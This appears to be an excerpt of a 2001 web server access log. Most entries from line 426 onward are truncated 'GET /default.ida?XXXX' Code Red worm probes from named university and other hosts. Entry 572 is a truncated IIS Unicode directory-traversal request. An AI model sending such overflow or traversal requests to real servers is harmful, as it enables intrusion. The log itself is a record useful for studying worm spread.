  386. 20010822 18:02:16: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  387. 20010822 19:16:21: zeus.price.clarkson.edu [128.153.158.81]
  388. 20010822 19:16:52: nszx104.144.szptt.net.cn []
  389. 20010822 19:45:48: lewa56.dsp.columbia.edu [128.59.207.108]
  390. 20010822 20:19:11: bus205-176.gsb.columbia.edu [128.59.205.176]
  391. 20010822 20:22:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  392. 20010822 21:23:38: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  393. 20010822 21:40:50: bus205-176.gsb.columbia.edu [128.59.205.176]
  394. 20010822 21:45:17: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  395. 20010822 22:09:32: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  396. 20010822 22:54:58: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  397. 20010822 23:06:40: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  398. 20010823 00:19:05: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  399. 20010823 01:06:46: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  400. 20010823 01:12:18: bus205-176.gsb.columbia.edu [128.59.205.176]
  401. 20010823 01:37:29: bus205-176.gsb.columbia.edu [128.59.205.176]
  402. 20010823 01:39:50: 128.134.50.35 []
  403. 20010823 02:27:39: bus205-176.gsb.columbia.edu [128.59.205.176]
  404. 20010823 02:28:10: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  405. 20010823 03:07:15: bus205-176.gsb.columbia.edu [128.59.205.176]
  406. 20010823 03:39:01: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  407. 20010823 04:39:25: 128.134.11.235 []
  408. 20010823 04:58:58: bus205-176.gsb.columbia.edu [128.59.205.176]
  409. 20010823 05:47:14: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  410. 20010823 05:57:33: bus205-176.gsb.columbia.edu [128.59.205.176]
  411. 20010823 06:15:57: 211.155.48.7 []
  412. 20010823 07:42:57: bus205-176.gsb.columbia.edu [128.59.205.176]
  413. 20010823 07:49:19: 61.32.11.188 []
  414. 20010823 07:55:05: 211.75.117.201 []
  415. 20010823 08:23:01: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  416. 20010823 08:23:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  417. 20010823 08:26:53: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  418. 20010823 08:50:09: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  419. 20010823 08:55:19: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  420. 20010823 09:24:08: 128.97.190.17 []
  421. 20010823 09:35:48: bus205-176.gsb.columbia.edu [128.59.205.176]
  422. 20010823 10:04:46: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  423. 20010823 10:33:04: bus205-176.gsb.columbia.edu [128.59.205.176]
  424. 20010823 10:49:26: 211.78.133.84 []
  425. 20010823 11:59:56:  [128.59.192.250]
  426. 20010823 12:33:27:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  427. 20010823 12:59:04:  [211.224.93.48] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  428. 20010823 13:13:16: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  429. 20010823 13:23:55: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  430. 20010823 13:29:04: lewd28.dsp.columbia.edu [128.59.207.80] "GET /default.ida.."
  431. 20010823 13:47:56: lewd28.dsp.columbia.edu [128.59.207.80] "GET /default.ida.."
  432. 20010823 14:14:41:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  433. 20010823 14:27:36:  [128.134.180.28] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  434. 20010823 14:28:17: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  435. 20010823 14:45:56:  [61.11.40.233] ""
  436. 20010823 14:57:19: bus205-233.gsb.columbia.edu [128.59.205.233] "GET /defaul.."
  437. 20010823 15:06:01: dialup-cc1-22.cc.columbia.edu [128.59.58.31] "GET /defaul.."
  438. 20010823 15:07:49: dialup-cc1-22.cc.columbia.edu [128.59.58.31] "GET /defaul.."
  439. 20010823 15:10:54:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  440. 20010823 15:13:12:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  441. 20010823 15:14:23:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  442. 20010823 15:17:23: lewd30.dsp.columbia.edu [128.59.207.82] "GET /default.ida.."
  443. 20010823 15:23:57: lewd30.dsp.columbia.edu [128.59.207.82] "GET /default.ida.."
  444. 20010823 15:24:48: lewd30.dsp.columbia.edu [128.59.207.82] "GET /default.ida.."
  445. 20010823 15:28:44:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  446. 20010823 15:40:51: 1Cust97.tnt2.muskegon.mi.da.uu.net [63.23.175.97] "HEAD /.."
  447. 20010823 15:49:40: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  448. 20010823 15:53:10: lewb50.dsp.columbia.edu [128.59.207.102] "GET /default.id.."
  449. 20010823 15:59:27:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  450. 20010823 16:01:58: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.."
  451. 20010823 16:28:06: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.."
  452. 20010823 16:36:37: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.."
  453. 20010823 16:45:48: r71h13.res.gatech.edu [128.61.71.13] "GET /default.ida?XX.."
  454. 20010823 16:56:48: cdm-66-52-39-tylr.cox-internet.com [66.76.52.39] "GET /de.."
  455. 20010823 17:10:45: lewb53.dsp.columbia.edu [128.59.207.105] "GET /default.id.."
  456. 20010823 17:43:58: dynamic-33-166.dyn.columbia.edu [128.59.33.166] "GET /def.."
  457. 20010823 17:47:24:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  458. 20010823 17:56:59: lewb42.dsp.columbia.edu [128.59.207.94] "GET /default.ida.."
  459. 20010823 18:01:14: lewb42.dsp.columbia.edu [128.59.207.94] "GET /default.ida.."
  460. 20010823 18:05:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  461. 20010823 18:06:21:  [61.174.139.59] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  462. 20010823 18:23:13: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.."
  463. 20010823 18:32:04: lewb42.dsp.columbia.edu [128.59.207.94] "GET /default.ida.."
  464. 20010823 18:33:50: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.."
  465. 20010823 18:45:56: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  466. 20010823 18:50:39: CHEMLAB2.CHEM.NYU.EDU [128.122.39.6] "GET /default.ida?XX.."
  467. 20010823 19:35:29:  [128.197.234.130] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.."
  468. 20010823 19:44:47:  [128.39.194.24] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  469. 20010823 19:55:12: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.."
  470. 20010823 20:10:30: lewb50.dsp.columbia.edu [128.59.207.102] "GET /default.id.."
  471. 20010823 20:10:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  472. 20010823 20:26:03: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.."
  473. 20010823 20:43:20: lewb53.dsp.columbia.edu [128.59.207.105] "GET /default.id.."
  474. 20010823 21:02:57: lewb53.dsp.columbia.edu [128.59.207.105] "GET /default.id.."
  475. 20010823 21:07:36:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  476. 20010823 21:19:17: lewb53.dsp.columbia.edu [128.59.207.105] "GET /default.id.."
  477. 20010823 21:37:11: lewa61.dsp.columbia.edu [128.59.207.114] "GET /default.id.."
  478. 20010823 21:44:52: lewc21.dsp.columbia.edu [128.59.207.37] "GET /default.ida.."
  479. 20010823 21:58:08: lewa56.dsp.columbia.edu [128.59.207.108] "GET /default.id.."
  480. 20010823 22:01:05:  [61.150.139.136] ""
  481. 20010823 22:16:42:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  482. 20010823 22:17:13: lewc02.dsp.columbia.edu [128.59.207.61] "GET /default.ida.."
  483. 20010823 22:33:19: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  484. 20010823 23:04:58: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.."
  485. 20010823 23:22:47: dialup-cc1-89.cc.columbia.edu [128.59.58.98] "GET /defaul.."
  486. 20010823 23:25:26: dialup-cc1-89.cc.columbia.edu [128.59.58.98] "GET /defaul.."
  487. 20010823 23:41:37:  [211.201.58.83] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  488. 20010823 23:49:35: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  489. 20010824 00:05:49: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  490. 20010824 00:07:06: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  491. 20010824 00:23:33: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.."
  492. 20010824 00:32:59: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.."
  493. 20010824 00:35:13:  [203.248.25.117] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  494. 20010824 00:36:39:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  495. 20010824 00:51:29: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  496. 20010824 00:55:43: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  497. 20010824 01:21:20: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  498. 20010824 01:24:58: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  499. 20010824 01:25:59: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  500. 20010824 01:49:31: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  501. 20010824 02:19:57:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  502. 20010824 02:25:21: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  503. 20010824 02:26:37: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  504. 20010824 02:47:51: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  505. 20010824 03:06:43: cba218.cba.hawaii.edu [128.171.119.218] "GET /default.ida.."
  506. 20010824 03:13:24:  [211.154.96.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  507. 20010824 03:44:09: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  508. 20010824 04:19:41:  [211.8.130.18] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX.."
  509. 20010824 04:32:08:  [195.53.233.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  510. 20010824 04:53:11: N311P019.adsl.highway.telekom.at [213.33.38.211] "GET /de.."
  511. 20010824 06:00:36: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  512. 20010824 06:35:05: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.."
  513. 20010824 06:37:54: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  514. 20010824 07:15:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  515. 20010824 07:24:19: ip180.kd4nxx2.adsl-dhcp.tele.dk [62.243.184.38] "GET /def.."
  516. 20010824 07:40:14:  [200.15.46.75] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX.."
  517. 20010824 07:40:33: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  518. 20010824 08:14:03: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  519. 20010824 08:17:19: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.."
  520. 20010824 08:24:26: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  521. 20010824 08:28:31:  [195.53.233.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  522. 20010824 08:50:47:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  523. 20010824 08:58:33: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  524. 20010824 09:45:35: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  525. 20010824 10:02:51:  [61.150.133.203] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  526. 20010824 10:15:55: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  527. 20010824 10:44:57: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.."
  528. 20010824 10:59:31: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  529. 20010824 11:09:04: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  530. 20010824 11:40:00: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.."
  531. 20010824 12:23:34: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  532. 20010824 12:25:12:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  533. 20010824 12:37:14: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  534. 20010824 12:46:51: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  535. 20010824 13:11:25: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  536. 20010824 13:30:15:  [206.47.90.78] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX.."
  537. 20010824 14:52:08: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  538. 20010824 16:28:12: ns.uchida.env.waseda.ac.jp [133.9.192.222] "GET /default..."
  539. 20010824 17:10:25: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  540. 20010824 17:20:28:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  541. 20010824 17:37:45: lewd68.dsp.columbia.edu [128.59.207.121] "GET /default.id.."
  542. 20010824 17:39:52: r77h133.res.gatech.edu [128.61.77.133] "GET /default.ida?.."
  543. 20010824 17:51:29: lewd68.dsp.columbia.edu [128.59.207.121] "GET /default.id.."
  544. 20010824 18:39:32: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  545. 20010824 18:53:10: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  546. 20010824 18:55:51: bay4-13.dial.umd.edu [128.8.22.205] "GET /default.ida?XXX.."
  547. 20010824 19:55:53: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  548. 20010824 20:18:50: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  549. 20010824 20:37:39: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  550. 20010824 21:09:14: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  551. 20010824 21:11:01: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  552. 20010824 21:51:56:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  553. 20010824 22:41:17: muktuk.byu.edu [128.187.155.71] "GET /default.ida?XXXXXXX.."
  554. 20010824 22:41:45: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  555. 20010824 23:33:01: cad.cnu.ac.kr [168.188.133.209] "GET /default.ida?XXXXXXX.."
  556. 20010825 00:09:05:  [209.37.188.104] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  557. 20010825 00:21:10: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  558. 20010825 00:29:30:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  559. 20010825 00:30:16: usrns222.dialup.hawaii.edu [128.171.66.222] "GET /default.."
  560. 20010825 00:30:42:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  561. 20010825 00:36:01: marconi.co.nz [203.167.212.118] "XXXXXXXXXXXXXXXXXXXXXXXX.."
  562. 20010825 00:36:15: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  563. 20010825 01:39:01: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  564. 20010825 02:26:31:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  565. 20010825 02:53:41:  [211.23.51.210] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  566. 20010825 03:50:05:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  567. 20010825 04:17:02: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  568. 20010825 04:47:54: AnynameD.graham.clarkson.edu [128.153.160.103] "GET /defa.."
  569. 20010825 04:53:12:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  570. 20010825 05:11:49:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  571. 20010825 05:18:08:  [128.134.50.184] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  572. 20010825 05:27:40:  [216.205.172.130] "GET /scripts/..%c0%af../winnt/system3.."
  573. 20010825 05:49:24: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  574. 20010825 06:21:33: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  575. 20010825 06:42:42: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  576. 20010825 07:07:08: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  577. 20010825 07:43:48: dialup-cc2-52.cc.columbia.edu [128.59.58.157] "GET /defau.."
  578. 20010825 07:54:02:  [128.164.247.202] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.."
  579. 20010825 07:55:33: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  580. 20010825 08:31:34:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  581. 20010825 08:45:14:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  582. 20010825 09:50:59: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  583. 20010825 09:57:57: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.."
  584. 20010825 10:50:45: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  585. 20010825 11:12:44:  [128.39.194.24] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  586. 20010825 11:44:16: erbium-asy-76.rutgers.edu [128.6.53.80] "GET /default.ida.."
  587. 20010825 13:52:55: r75h163.res.gatech.edu [128.61.75.163] "GET /default.ida?.."
  588. 20010825 14:38:16:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  589. 20010825 14:39:38: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.."
  590. 20010825 14:49:11: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.."
  591. 20010825 14:53:34: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.."
  592. 20010825 14:59:28: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.."
  593. 20010825 15:00:54: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.."
  594. 20010825 15:14:28: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  595. 20010825 15:33:59: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.."
  596. 20010825 15:47:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  597. 20010825 16:55:17: love337b.me.gatech.edu [128.61.141.118] "GET /default.ida.."
  598. 20010825 17:30:17:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  599. 20010825 17:38:52: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  600. 20010825 17:41:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  601. 20010825 18:03:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  602. 20010825 18:33:03: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  603. 20010825 18:49:47: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  604. 20010825 19:14:27: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  605. 20010825 20:04:46: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  606. 20010825 20:10:05: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  607. 20010825 20:56:04:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  608. 20010825 21:51:23:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  609. 20010825 22:19:49: r75h163.res.gatech.edu [128.61.75.163] "GET /default.ida?.."
  610. 20010825 22:37:55: dialup-ccts5-6.cc.columbia.edu [128.59.6.15] "GET /defaul.."
  611. 20010825 23:59:25:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  612. 20010826 00:24:37: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  613. 20010826 00:38:47: syru229-205.syr.edu [128.230.229.205] "GET /default.ida?X.."
  614. 20010826 00:49:14: user-112up5h.biz.mindspring.com [66.47.100.177] "GET /def.."
  615. 20010826 04:19:39: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  616. 20010826 04:21:28: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  617. 20010826 04:24:16: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  618. 20010826 04:30:38: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  619. 20010826 04:30:48: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  620. 20010826 04:31:19: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  621. 20010826 04:31:56: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  622. 20010826 04:32:41: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  623. 20010826 04:33:55: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  624. 20010826 04:34:05: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  625. 20010826 04:34:49: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  626. 20010826 04:42:08: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  627. 20010826 04:43:09: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  628. 20010826 04:53:55: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  629. 20010826 05:19:04:  [209.37.188.103] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  630. 20010826 05:50:59:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  631. 20010826 06:10:05: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  632. 20010826 06:35:46:  [128.164.205.173] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.."
  633. 20010826 06:47:09: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  634. 20010826 06:59:58:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  635. 20010826 07:30:50:  [128.107.193.197] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.."
  636. 20010826 07:42:51: bootp-254-193.bootp.Virginia.EDU [128.143.254.193] "GET /.."
  637. 20010826 08:38:58:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  638. 20010826 08:46:30:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  639. 20010826 09:04:55:  [128.134.248.204] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.."
  640. 20010826 09:39:20:  [128.134.57.84] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  641. 20010826 10:22:19:  [128.11.177.69] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  642. 20010826 10:22:37:  [128.11.177.69] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  643. 20010826 10:28:06:  [128.104.56.79] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
  644. 20010826 12:13:06:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  645. 20010826 12:33:36: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  646. 20010826 12:38:39: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  647. 20010826 14:11:09:  [128.121.189.180] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.."
  648. 20010826 14:26:09:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  649. 20010826 14:52:29: r77h124.res.gatech.edu [128.61.77.124] "GET /default.ida?.."
  650. 20010826 14:59:46: bing81.rafuse.binghamton.edu [128.226.150.81] "GET /defau.."
  651. 20010826 16:00:20: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  652. 20010826 17:01:31: dialup-ccts5-41.cc.columbia.edu [128.59.6.50] "GET /defau.."
  653. 20010826 17:26:43: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  654. 20010826 18:19:00: r67h71.res.gatech.edu [128.61.67.71] "GET /default.ida?XX.."
  655. 20010826 18:32:18:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  656. 20010826 18:45:35:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  657. 20010826 19:41:29: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  658. 20010826 19:48:09: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  659. 20010826 19:53:39: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  660. 20010826 20:49:09:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  661. 20010826 20:55:40:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  662. 20010826 21:03:22:  [211.163.128.43] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  663. 20010826 21:31:47: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  664. 20010826 21:47:43: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  665. 20010826 22:13:39: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  666. 20010826 22:30:56: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  667. 20010826 22:31:19: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  668. 20010826 22:31:24:  [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.."
  669. 20010826 23:39:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.."
  670. 20010827 00:01:26: sc57.eastnet.gatech.edu [128.61.106.57] "GET /default.ida.."
  671. 20010827 00:27:34:  [202.110.184.197] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.."
  672. 20010827 00:31:24: dialup-ccts5-111.cc.columbia.edu [128.59.6.120] "GET /def.."
  673. 20010827 03:42:29: RICKO.RES.CMU.EDU [128.2.161.105] "GET /default.ida?XXXXX.."
  674. 20010827 03:45:53:  [128.134.18.123] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  675. 20010827 04:50:16: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  676. 20010827 04:50:18:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.."
  677. 20010827 05:13:45: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  678. 20010827 05:33:35: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  679. 20010827 05:36:31: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.."
  680. 20010827 06:04:14: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  681. 20010827 09:31:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.."
  682. 20010827 11:42:16: dialup-ccts5-112.cc.columbia.edu [128.59.6.121] "GET /def.."
  683. 20010827 11:43:55:  [202.103.6.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.."
